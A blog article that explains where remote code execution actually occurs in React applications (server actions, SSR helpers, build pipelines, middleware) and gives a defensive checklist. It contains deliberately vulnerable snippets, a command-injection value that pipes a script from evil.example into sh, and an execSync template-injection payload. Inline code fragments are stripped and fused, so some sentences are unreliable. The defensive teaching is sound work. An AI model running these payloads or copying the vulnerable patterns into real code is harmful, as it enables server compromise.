RCE in React Apps: It's Not Where You Think
Every few months a developer sends me the same message: "I ran a security scan on my React app and it flagged a possible RCE. Is that even a thing?" The honest answer is yes, it's a thing — just not where the scanner is looking. The browser is a sandbox.
document.createElementThe reason RCE keeps showing up in modern React projects isn't because React itself grew teeth. It's because "a React app" stopped meaning "a static bundle served from a CDN" several years ago. A 2026-vintage React app is a server action endpoint, an SSR runtime, an image optimizer, a middleware function, a build pipeline, and a tree of 1,400 transitive npm dependencies — most of which can execute arbitrary Node.js code somewhere in your stack. That's where the remote code execution lives.
This is a tour of the four places it actually shows up.
The Browser Is Not Where the Bodies Are Buried
Before we go anywhere else, let's settle the easy part. Pure client-side React, executing in a browser tab, does not give an attacker code execution on your server or your user's machine. The browser sandbox is real. JavaScript inside a tab can read what the tab can read, send what the tab can send, and that's the boundary.
What people often confuse for "React RCE" is one of these:
- accepting unsanitized user input — that's a stored or reflected XSS, not RCE. Worth fixing immediately, but it's a different bug.
dangerouslySetInnerHTML - A markdown renderer that allows raw HTML — same category, same severity bracket.
- Hydration mismatches where SSR produces different HTML than the client expects — generally a correctness bug, occasionally an XSS escalation, almost never RCE.
If your scanner flagged
dangerouslySetInnerHTMLWhere It Actually Lives, #1: Server Actions
Server Components and Server Actions changed the architecture. A "React app" now routinely contains functions that look like client code, are imported into client components, and silently execute on the server with full Node.js privileges.
'use server';
export async function runReport(filter: string) {
// This runs on the server, with whatever permissions the Node process has.
const { stdout } = await execAsync(`./bin/report --filter=${filter}`);
return stdout;
}The
'use server'x; curl evil.example/payload.sh | shos.systemThe server action wrapper makes this worse, not better, in two ways.
First, the boundary is invisible. To a developer reading the file,
runReportSecond, server actions accept arbitrary serialized payloads from the client. The framework deserializes the arguments and calls your function. If your function signature says
filter: stringThe fix is unglamorous: never pass user input to
execexecSyncspawnshell: truespawnspawn('./bin/report', ['--filter', filter])Where It Actually Lives, #2: The SSR Render Path
Server-side rendering means React is producing HTML in a Node process. Anything that touches that render path with user input is a potential entry point.
The classic example is a custom template helper that accepts user-controlled HTML and feeds it into something that resembles
evalfunction renderUserBio(bio: string) {
// Looks innocent. Is not.
return new Function('return `' + bio + '`')();
}The author probably wanted template-literal interpolation. What they got was
new Function${process.mainModule.require('child_process').execSync('id')}/etc/passwdThis pattern is rare in idiomatic React, but it appears all the time in custom theming systems, "user-defined" widgets, and templating layers built on top of React. Anywhere a developer reaches for
Functionevalvm.runInNewContextA subtler variant is server-side template injection through markdown or MDX. MDX in particular lets authors embed JSX, which means an MDX file authored by an untrusted user is, by design, executable React code. If your CMS lets users upload MDX, your CMS lets users execute code on your render server. The fix is either strict MDX (a profile that disables JS evaluation) or accepting only plain markdown.
Where It Actually Lives, #3: The Build Pipeline
This is the category most people miss because it doesn't feel like part of the app.
When you run
npm installpostinstallnpm installIn 2024, an academic study counted around 1,400 transitive dependencies in a freshly scaffolded Next.js project. Each of those packages could, in principle, ship malicious code in a future minor version, and your lockfile only protects you until you bump. This isn't theoretical:
event-streamua-parser-jscoarcBuild-time RCE doesn't even need a postinstall script. Webpack and Vite plugins execute Node code during the build itself. A malicious or compromised plugin can read environment variables (CI secrets, deploy tokens, AWS credentials), inject backdoor code into the production bundle, or stage a payload that fires only when the build runs in a CI environment matching certain heuristics.
The defenses here are all unsexy:
- plus selective allowlisting of packages that genuinely need install scripts.
npm install --ignore-scripts - Lockfile-pinned, integrity-hashed dependencies — never for security-critical packages.
^1.0.0 - A separate, isolated build environment with no production credentials present at build time.
- Tooling like Socket, Snyk, or npm audit running on every PR — not as a gate, but as a signal you read.
The pattern to internalize: your build pipeline is a privileged environment that runs untrusted code on every install. Treat it accordingly.
Where It Actually Lives, #4: Middleware and Edge Functions
React frameworks lean heavily on middleware — small functions that run on every request, often at the edge, often with access to environment variables and outbound network. They're a beautiful target.
The bugs cluster in two places.
Header injection into outbound requests. Middleware that forwards an inbound header to an outbound API call without validation is a Server-Side Request Forgery vulnerability waiting to happen. SSRF isn't always RCE, but in cloud environments it often is — the attacker uses the SSRF to read instance metadata, exfiltrate IAM credentials, and pivot from there.
export async function middleware(req: NextRequest) {
const target = req.headers.get('x-internal-target');
// Attacker controls 'target'. Now we make a server-side request to wherever they say.
return fetch(`https://api.internal/${target}`);
}Pattern compilation from user input. Some middleware compiles regexes or path patterns from request data.
new RegExp(userInput)pathToRegexpEdge runtimes (Cloudflare Workers, Vercel Edge, Deno Deploy) reduce the blast radius — they're sandboxed and don't have full Node APIs. But they do have outbound network and they do have access to bound secrets, so SSRF and credential leakage remain in scope even when classical RCE doesn't.
A Defensive Checklist That Actually Helps
Most security checklists for React apps spend their first ten items on
dangerouslySetInnerHTML- Audit every file and every API route handler. Trace user input from entry point to every
'use server',exec, file-system, or database call. Concatenation into shell strings is RCE; argument arrays are not.spawn - Grep your codebase for ,
new Function,eval, and any expression evaluator library. Each occurrence needs an explicit answer to "can user input reach this?"vm.runIn - If you accept user-authored content that is rendered server-side, ban MDX and JSX-in-content. Plain markdown only, with an HTML sanitizer on the output.
- Run builds with by default. Keep an explicit allowlist of packages that need postinstall scripts and review additions to that list.
--ignore-scripts - Builds should not have production credentials. CI deploy steps should — and those steps should run after the build artifact is hashed and signed.
- Middleware that forwards request data to outbound calls is high-risk. Validate the destination, validate the headers, prefer allowlists over denylists.
- Pin and integrity-check security-critical dependencies. Subscribe to advisories for the frameworks you use (Next.js, Remix, React Router, your bundler).
- Yes, also fix and prevent XSS. It's just not the headline.
dangerouslySetInnerHTML
The Honest Summary
The phrase "RCE in React" is technically a category error. React doesn't execute remote code; the runtime around React executes code, and modern React apps come with a lot of runtime. The browser tab is not where the threat lives. The threat lives in the server action you forgot was an RPC endpoint, the SSR helper that reaches for
new FunctionThe best mental model is to stop thinking of a React project as a frontend and start thinking of it as a distributed system whose frontend happens to be React. Once you've made that shift, the question is no longer "can my React app have RCE" — it's "where does my React app run untrusted-influenced code, and what's protecting each of those execution boundaries?" That question has answers. The first one didn't.
Discussion
0 comments
Share your thoughts
No comments yet. Be the first to share your thoughts!